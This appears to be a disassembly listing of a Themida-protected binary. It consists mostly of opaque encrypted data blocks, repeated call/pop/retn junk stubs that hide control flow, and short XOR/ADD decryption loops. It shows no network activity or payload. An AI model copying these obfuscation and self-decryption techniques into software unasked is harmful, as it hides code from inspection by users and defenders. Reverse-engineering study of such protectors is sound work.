		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 8434C356h, 0F3BF662Bh, 8E91Fh, 0B30B0000h, 0EF6CCAC8h
		dd 0E1800AF2h, 0DDBD8B04h, 0A061403h, 0FD840FC9h, 89000000h
		dd 1424C9BDh, 35858B06h, 6A06140Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5B15C351h
		dd 104DF05Ch, 158529h, 24B30614h, 6A98533h, 6A0614h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 6045BBC3h, 830FAEB1h, 6, 1BA19D89h, 0E9610614h, 7, 26E484CFh
		dd 90AA2950h, 37039FBBh, 830F5022h, 3, 90DE8B66h, 68F5006Ah
		dd 3F33F02Bh, 0BE8h, 0AB538F00h, 0D9A6418Dh, 21410E5Ch
		dd 2434815Fh, 3F2CF3D4h, 89D95FFh, 10E90614h, 95000000h
		dd 0A29551E4h, 0C3C64727h, 7846EB5Fh, 896E1006h, 17A7EA85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 223265ABh, 0A4B08EDFh, 2800F60h,	60000000h
		dd 6192B261h, 1B2E9h, 0DF8B6600h, 0A7E2858Bh, 0BD890617h
		dd 6141CB9h, 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 1FB370C3h, 2C69BD8Bh
		dd 0B58B0614h, 617A7E6h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 6DC35747h, 725AA548h,	858BAF18h, 6140281h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C3C35646h
		dd 0EE29ACD3h, 0BD3132FDh, 614307Dh, 0BD890689h, 6140DCDh
		dd 0E35858Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 4689DBC3h, 0C199BB04h, 6096687Bh
		dd 0DE9CC8Ah, 84000000h, 39B6D77Fh, 0CFE7B40Eh,	0E013A5F3h
		dd 6A965061h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D3F0C356h, 8B3AB9CBh,	0FFDA8B39h
		dd 17A7E2B5h, 719D2306h, 0E8061423h, 4,	1F03FFh, 10E9h
		dd 8896A800h, 71FAD9DCh, 9C64EC27h, 0D98DD332h,	52505069h
		dd 585A310Fh, 424448Bh,	8E8h, 0F1F41700h, 30A457CBh, 3BBF6648h
		dd 8B5B4Fh, 4489DD8Ah, 36B70424h, 0FFBF0F58h, 0A7EA858Dh
		dd 90F90617h, 8F0Fh, 0F500000h,	1983h, 14E900h,	3B000000h
		dd 0F1D7A00Dh, 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 6A9061D1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0B3FDC350h, 0D38C47Ah, 0FFFEB70Fh, 14089D95h
		dd 0F99D2306h, 61061424h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 8C35343h, 4B75E4E9h, 0EDF517DAh, 11850F60h
		dd 0E8000000h, 0Bh, 0C9535570h,	7893E758h, 5AEA084Dh, 85C761F8h
		dd 614013Dh, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	5FC35747h, 53DBD340h, 7290D177h, 0D919D8Bh, 0BD830614h
		dd 617A7EAh, 35840F00h,	8B000000h, 1410919Dh, 45E906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E999D6C3h, 8, 82B24F5Eh,	1755CCFAh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0BFC08B00h, 3B11EE40h
		dd 5890Fh, 81660000h, 8330FFD7h, 14013DBDh, 850F0306h
		dd 3D1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	42C35545h, 31DEDFF2h, 83D2B47Bh, 17A7EABDh, 840F0006h
		dd 3A1h, 4498589h, 0B5FF0614h, 617A7EAh, 1215B589h, 95FF0614h
		dd 6140339h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	3DC35343h, 6F605BAh, 8B22F376h,	17A7DEB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 93DB1386h, 106ED0ECh, 3268D8BBh, 0C7F88B42h,	1000106h
		dd 0F781F900h, 1E4592EFh, 148D0F50h, 0E9000000h, 0Fh, 0BACFD848h
		dd 21162BFh, 9646F189h,	898995AEh, 5E82434h, 0C8000000h
		dd 67A03D31h, 0B5FF5FF9h, 617A7EAh, 1919509h, 95FF0614h
		dd 6141081h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0C8C35242h, 0DEB58BD0h,	890617A7h, 1411959Dh, 0DF815306h
		dd 5A1FD881h, 0F9858B5Fh, 8906140Fh, 1402799Dh,	0C4868906h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h
		dd 46000000h, 6FF8C356h, 81668271h, 1F952F7h, 141BD59Dh
		dd 69958B06h, 0E906142Bh, 0Ah, 0C3801E03h, 0A79217B1h
		dd 0C283C0A4h, 89F98B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0BF7D27C3h, 3923BCFh
		dd 0B58935FDh, 6140E2Dh, 0BC23858Dh, 0BB660617h, 8689D919h
		dd 0B8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	34C35141h, 6A26F8h, 0FFFFBF0Fh,	17A7EAB5h, 618D0106h
		dd 0FF06141Bh, 1433AD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2FA7A37Ah
		dd 96210CF1h, 0BF50DE8Bh, 51D9B0C4h, 0F7816696h, 0B5FF2D31h
		dd 617A7EAh, 34899D2Bh,	95FF0614h, 6142309h, 5939BF66h
		dd 1189BD83h, 0F000614h, 6584h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0A07EB6C2h
		dd 0D66EFE5Eh, 9D8B42B7h, 6141F99h, 810F96h, 50000000h
		dd 0ABF6660h, 6A9661B6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3670C350h, 9B89E8Dh
		dd 0F018ED9Dh, 0AA5BD8Bh, 0B5FF0614h, 617A7EAh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 84C35141h, 0C1043C83h
		dd 0E523CE08h, 6850Fh, 0BD890000h, 61424BDh, 2D595FFh
		dd 0AE90614h, 97000000h, 315638E7h, 0E9BCBDE3h,	0EAB5FF40h
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7B31C356h, 305DD2B4h, 0C59D032Bh
		dd 89061430h, 140449B5h, 7595FF06h, 6A06140Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0E55CC352h, 0E3D3A80Eh, 8987EFA7h, 141F45BDh, 2DBD8306h
		dd 2061411h, 52840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D88A26C3h, 55858Bh
		dd 8F0F0614h, 6, 1E718531h, 0C60614h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6EB3D8FBh, 1E4985C7h, 614h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B1EC3C3h
		dd 140D89BDh, 0F3F6E906h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 567876C3h, 0E7864B71h
		dd 6AC18BA1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 99F0C356h, 91D3D6DDh, 0B7861833h
		dd 91858D69h, 1061407h,	14192195h, 52505006h, 310FDC8Ah
		dd 489585Ah, 8E824h, 0E2BE0000h, 0A6293429h, 810F1CB1h
		dd 3, 5FFB8B66h, 9D8B006Ah, 61407E9h, 11E8h, 0AD58DF00h
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 0DF8151DAh, 2AB0162Bh
		dd 6A006A5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9819C357h, 0AEF0A7AEh,	4D811B8Fh
		dd 0CF1BD8Bh, 858D0614h, 6190927h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0EBC35646h,	0CBBCD7C5h, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4BEC356h,	1AA9BD8Bh, 0E9500614h, 0Dh, 0F60D09C8h
		dd 0AB7C5FBEh, 88E40604h, 240489AAh, 6880Fh, 0BD8B0000h
		dd 6141AF5h, 0BD8B006Ah, 6140815h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C496ECC3h
		dd 1995FFD4h, 6A06141Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F9D5C351h,	56974E75h
		dd 0F78110A6h, 54A1FB45h, 1E79BD8Bh, 8D8D0614h,	617A778h
		dd 0A699D8Bh, 0D1FF0614h, 0D6D9D0Bh, 0BD830614h, 61401CDh
		dd 0C4850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4BAFC351h, 59B52934h
		dd 8B061413h, 142A399Dh, 0EDBD8B06h, 6A06140Ch,	56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BC2251BBh, 0B8592C64h, 0D18D8960h, 89061410h, 1408A185h
		dd 50506106h, 0EB2BB52h, 310F7F94h, 5AFA8B66h, 24048958h
		dd 0FFD8B70Fh, 1433AD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F04AD2DBh
		dd 0DE3FE4CBh, 8D0F6011h, 6, 34B18533h,	0FE90614h, 18000000h
		dd 0D9EECDF7h, 543E2A14h, 0FE09EB08h, 0E961A9E7h, 0E01h
		dd 0E8h, 0ED815D00h, 6190931h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C8C35343h,	0AD6AFC4Fh, 0B35EAF97h
		dd 0C619D8Bh, 9D890614h, 6141935h, 8E49858Dh, 89510617h
		dd 1404CDBDh, 0E8905F06h, 8, 1A64C247h,	9BFF4184h, 0BE8h
		dd 20698E00h, 11A38CC1h, 487115B1h, 50505F5Fh, 0DE952h
		dd 0AAE30000h, 1D5429C2h, 5805BC79h, 0FE11133h,	8B0F31h
		dd 5A000000h, 0B70F9058h, 35FF64DEh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CE567
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE567	proc near		; CODE XREF: Themida_:005CE55Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5CE567	endp

; ---------------------------------------------------------------------------
		stosb
		mov	dl, 9
		lea	ecx, [ecx+3061406h]
		mov	ebp, 614266Dh
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5CE597
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE597	proc near		; CODE XREF: Themida_:005CE58Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CE597	endp

; ---------------------------------------------------------------------------
		cmp	[edi], ecx
		mov	edi, 0ED85FFD9h
		sub	eax, 6A0614h
		push	edx
		call	sub_5CE5BC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE5BC	proc near		; CODE XREF: Themida_:005CE5B4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CE5BC	endp

; ---------------------------------------------------------------------------
		dd 0B1C8805Dh, 0E803276Eh, 0Eh,	0B07A129h, 0FDA1FF67h
		dd 50994D9Bh, 95317BE2h, 61430E1h, 0CBEB815Fh, 6A2ACD55h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 8D200594h, 9B75AD8h, 141BA595h, 61B5FF06h
		dd 29061400h, 1402C585h, 8995FF06h, 0E906142Ah,	10Fh, 2029B529h
		dd 0B00614h, 2A46E381h,	0BD3115C8h, 6140321h, 953170E6h
		dd 6140779h, 9D8971E4h,	6142099h, 830F613Ch, 0E3h, 34D58D89h
		dd 0B60F0614h, 419D33C8h, 6006140Dh, 58616056h,	2521BD89h
		dd 0BA610614h, 6, 8BFB8B66h, 99D8BC1h, 0C106141Bh, 8B5004E8h
		dd 0F7665BF9h, 5DB589E2h, 2B06140Ah, 8D0F56C8h,	4, 220BF66h
		dd 66D18B5Bh, 6060F781h, 8EE9h,	0CB816600h, 858B0232h
		dd 47554C50h, 0E619D8Bh, 0C0830614h, 83DE8B07h,	0BF6600C0h
		dd 0B70F95E9h, 0FD03BF9h, 1783h, 75B58900h, 0E9061410h
		dd 5Bh,	6860Fh,	95310000h, 6142595h, 0FFFF8D8Bh, 8166FFFFh
		dd 83410CCFh, 840F01E1h, 3Bh, 2A4C9EBFh, 0FFA58317h, 0FEFFFFFFh
		dd 1B8DBD8Bh, 95890614h, 47554C50h, 12E8h, 66A7F400h, 1ECD27C8h
		dd 928AFFAAh, 0EF6BEC7Ch, 81FEF23Bh, 72F7BAC3h,	0E95F61h
		dd 8D000000h, 1876FFB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 5240D8C3h, 2EB6F283h
		dd 19E1BD8Bh, 7E80614h,	1000000h, 0F2230DE4h, 0F1BB6C16h
		dd 5B0A3B85h, 8F0F006Ah, 1Bh, 12E8h, 610B3900h,	0BB8444E8h
		dd 4D01BD26h, 15F54F97h, 0F1DB01Dh, 0FF5BDFBFh,	14297195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 38634CD2h, 0DA876CA2h, 107AB9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 38F98E46h, 0BF6645E8h, 860F321Eh, 6,	16999D23h, 0E1830614h
		dd 0D8BF0FFCh, 941B7FCh, 1412719Dh, 0B806h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DFDAC3C3h, 800A58F6h, 0FC8A10CFh, 0BAh, 65BD8B00h
		dd 0AD061434h, 0E8D1C233h, 0E983D003h, 8BF47504h, 1423299Dh
		dd 0D8BF0F06h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0C69C38CDh, 0C61BBE1Ah
		dd 2B69958Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 1EC580C3h, 0EF1F8FD2h, 2649BD89h
		dd 8D8B0614h, 6141055h,	51BD8B52h, 5F061410h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 2D0DF6C3h
		dd 5CDF8166h, 9D33529Bh, 6142001h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 203E5E60h
		dd 5C529BCCh, 0D5EFBF66h, 0F4DBD83h, 0F000614h,	4884h
		dd 0F3816600h, 810F845Bh, 3, 0B893C380h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CE953
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE953	proc near		; CODE XREF: Themida_:005CE94Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5CE953	endp

; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------
		or	eax, 60AB0894h
		pop	edx
		lea	ecx, [ebp+6144DFFh]
		adc	di, 869Dh
		jmp	ecx
; ---------------------------------------------------------------------------
		add	edi, 6B8B3C3Ah
		cmp	dword ptr [ebp+614013Dh], 0
		jz	loc_5CEDE1
		and	ebx, [ebp+6140E19h]
		sbb	edi, 6BDFEF68h
		cmp	dword ptr [ebp+614013Dh], 1
		jz	loc_5CEDFC
		push	0
		push	edi
		call	sub_5CE9AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE9AE	proc near		; CODE XREF: Themida_:005CE9A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5CE9AE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	[ebp+5Bh], dl
		pushf
		wait
		cmp	dword ptr [ebp+614013Dh], 3
		jbe	loc_5CEDC6
		push	0
		push	ebp
		call	sub_5CE9DC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE9DC	proc near		; CODE XREF: Themida_:005CE9D4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CE9DC	endp

; ---------------------------------------------------------------------------
		push	esp
		push	ecx
		mov	[ebp+61409A9h],	esi
		pop	edi
		or	edi, [ebp+6141AF5h]
		pusha
		push	0
		push	ecx
		call	sub_5CEA07
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEA07	proc near		; CODE XREF: Themida_:005CE9FFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CEA07	endp

; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------
		and	bx, 185h
		mov	[ebp+6141C2Dh],	esi
		mov	cx, ds
		mov	ebx, 6598EBDDh
		and	cl, 4
		mov	edi, [ebp+61419EDh]
		or	cl, cl
		jz	loc_5CEB27
		mov	eax, [ebp+6140E35h]
		xor	eax, [ebp+61406A9h]
		push	0
		push	edx
		call	sub_5CEA53
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEA53	proc near		; CODE XREF: Themida_:005CEA4Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CEA53	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 5061E206h, 5E8h, 0FFFA6700h,	9E9E45Ah, 0C8000000h, 52A1DAA5h
		dd 172D3CFAh, 2404895Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F4C35646h, 57648579h, 8B006A77h, 1404359Dh
		dd 318D2906h, 6806140Ch, 0BE9B1429h, 457A76BFh,	2404810Bh
		dd 4183EFD6h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0C3C35545h, 0AD9C7597h,	0B3BB7EA9h, 0FF0D2C01h
		dd 14089D95h, 0DE906h, 32150000h, 0BB2B6FF2h, 2194847Fh
		dd 8931233Ah, 17A7EA85h, 89505206h, 142F31BDh, 0F5F5F06h
		dd 685h, 0DD9D8B00h, 0E9061419h, 220h
; ---------------------------------------------------------------------------
		mov	bx, si


loc_5CEB27:				; CODE XREF: Themida_:005CEA36j
		mov	eax, [ebp+617A7E2h]
		push	0
		push	ecx
		call	sub_5CEB38
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEB38	proc near		; CODE XREF: Themida_:005CEB30p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CEB38	endp

; ---------------------------------------------------------------------------
		dd 96CEC5B0h, 6255C966h, 0C7D9B70Fh, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 6AAF83E5h, 0F035C2FEh, 0EE9h, 28853500h, 0C5C9F65Eh
		dd 3F75201Dh, 29B6AE79h, 1426858Dh, 0E6B58B06h,	6A0617A7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0A465C357h, 7C76390Eh, 4A6CB790h,	858B5FB7h
		dd 6140281h, 49B52960h,	106140Dh, 1418C595h, 6896106h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 6C35343h
		dd 10254001h, 0BF14ECB7h, 7F8F1DC7h, 0E35858Bh,	0BF660614h
		dd 4689AEACh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0FD8631A3h, 5E9DAh, 90250000h, 96BB1366h
		dd 0AE960h, 0C0ED0000h,	85A17723h, 6B829D9Ch, 0EE9h, 8D755E00h
		dd 2D1545DBh, 704B3B96h, 61A01B90h, 11E85350h, 0A3000000h
		dd 4A4B0581h, 8A6E6AFFh, 4787CF3Bh, 0DA006866h,	4860BF66h
		dd 6A965B5Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 2239C350h, 0CD429C54h,	0D1B5898Bh
		dd 0FF061433h, 17A7E2B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A107E7FCh
		dd 5D4B0675h, 4E8FC4Fh,	0FF000000h, 8A001F03h, 0D88B50F8h
		dd 424448Bh, 9E8h, 5E885800h, 4AF39ED6h, 5250B297h, 8F0Fh
		dd 310F0000h, 585A5F52h, 0BB008B5Fh, 3667FB59h,	4244489h
		dd 0FB8B6658h, 0A7EA858Dh, 0B5890617h, 61402D1h, 31BB6650h
		dd 240489F5h, 13E9h, 2C3B3100h,	3D253766h, 0A1672D0Ch
		dd 0D0210A55h, 1974F04Dh, 89D95FFh, 0BD890614h,	61400A5h
		dd 0BB66F961h, 85C7696Fh, 614013Dh, 3, 0CE9h, 0F7DDC000h
		dd 4FC513F8h, 0F9F24CB3h, 0EABD83D4h, 617A7h, 54840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 97D943C3h, 719D8B3Bh, 0E9061434h,	45h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 54C35141h, 66BC791Dh
		dd 253ED381h, 1F19BD0Bh
; ---------------------------------------------------------------------------
		adc	al, 6


loc_5CEDC6:				; CODE XREF: Themida_:005CE9CBj
					; Themida_:005CEDDDj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CEDC6
		jmp	short loc_5CEE17
; ---------------------------------------------------------------------------


loc_5CEDE1:				; CODE XREF: Themida_:005CE984j
					; Themida_:005CEDF8j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CEDE1
		jmp	short loc_5CEE17
; ---------------------------------------------------------------------------


loc_5CEDFC:				; CODE XREF: Themida_:005CE99Dj
					; Themida_:005CEE13j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CEDFC
		jmp	short $+2


loc_5CEE17:				; CODE XREF: Themida_:005CEDDFj
					; Themida_:005CEDFAj
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5CEE24
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEE24	proc near		; CODE XREF: Themida_:005CEE1Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CEE24	endp

; ---------------------------------------------------------------------------
		dd 89026165h, 14077D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0ECF7E1BEh, 6D617654h
		dd 3DBD8303h, 3061401h,	429850Fh, 6E90000h, 1C000000h
		dd 8BEC9CFEh, 88FCBF1Bh, 0BD834633h, 617A7EAh, 0C840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 75E4C353h, 0B5FFDA4Bh,	617A7EAh
		dd 8420DCBBh, 0A9C38176h, 0FF42FFF3h, 14033995h, 2222BF06h
		dd 0B58B763Dh, 617A7DEh, 4A99D89h, 9D8B0614h, 614254Dh
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0D260B3C3h, 0AE947B51h, 0DB8166ABh
		dd 8950FA13h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0B789D0C3h, 197871Fh, 1411A1BDh
		dd 0EAB5FF06h, 0F0617A7h, 95FFF9BFh, 6141081h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1AC35141h, 1331BD8Bh
		dd 0FE90614h, 88000000h, 0C7C2D010h, 463D6729h,	0DEA1AEEAh
		dd 0B58BF7C3h, 617A7DEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 5AC35141h, 5033E961h,	0B5892A7Ch, 6140C19h
		dd 0FF9858Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 9B3D5AC3h, 0D8E0Fh, 8B600000h, 1431218Dh
		dd 0D9816606h, 0F61BE06h, 684h,	55BD8900h, 89061407h, 0C486h
		dd 0E7816600h, 958B84C3h, 6142B69h, 0F6A33BBFh,	4C2832Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D5C35040h
		dd 0FB1CBCBh, 22CB86D7h, 10E93Eh, 25B60000h, 64595076h
		dd 0DC495EBh, 2D5C6603h, 50891237h, 51006A20h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7940855Dh
		dd 0FA0228B9h, 10E960h,	0A3E50000h, 0E0C46238h,	55F2B08Ch
		dd 0C225BADDh, 8166A80Ah, 61DFE3E0h, 0BC23858Dh, 6A0617h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 962158C3h, 0EFBBBB27h, 89F7C5CBh, 0B886h, 719D8900h
		dd 6A06142Bh, 29858900h, 906141Dh, 14185195h, 0EAB5FF06h
		dd 6A0617A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 660FC355h, 0DCC3DB81h,	0D11BD0Bh
		dd 95FF0614h, 61433ADh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F0C35545h, 441EDF32h, 0F534A7E2h, 0F98B6650h
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 586AC350h, 0FFF5BC4Eh,	17A7EAB5h
		dd 47D3BB06h, 95FF74CCh, 6142309h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0F3C35343h,	0A850F37h, 0F000000h
		dd 481h, 47BF6600h, 89BD831Bh, 61411h, 33840Fh,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8E6A9FC3h, 6312D815h, 9689B766h, 0AF0DBF50h,	89960CE6h
		dd 14119D9Dh, 0EAB5FF06h, 6A0617A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2A8FC355h
		dd 0BF0F15E7h, 0D595FFDAh, 6A061402h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0BEEDC356h
		dd 59F5EB04h, 0B5FF6A17h, 617A7EAh, 2CDC78BBh, 0DB5016Eh
		dd 0FF061416h, 140B7595h, 9E906h, 6A0A0000h, 0CCEE76CBh
		dd 8309B0E9h, 14112DBDh, 840F0206h, 3Dh, 0BBA5BB66h, 55858Bh
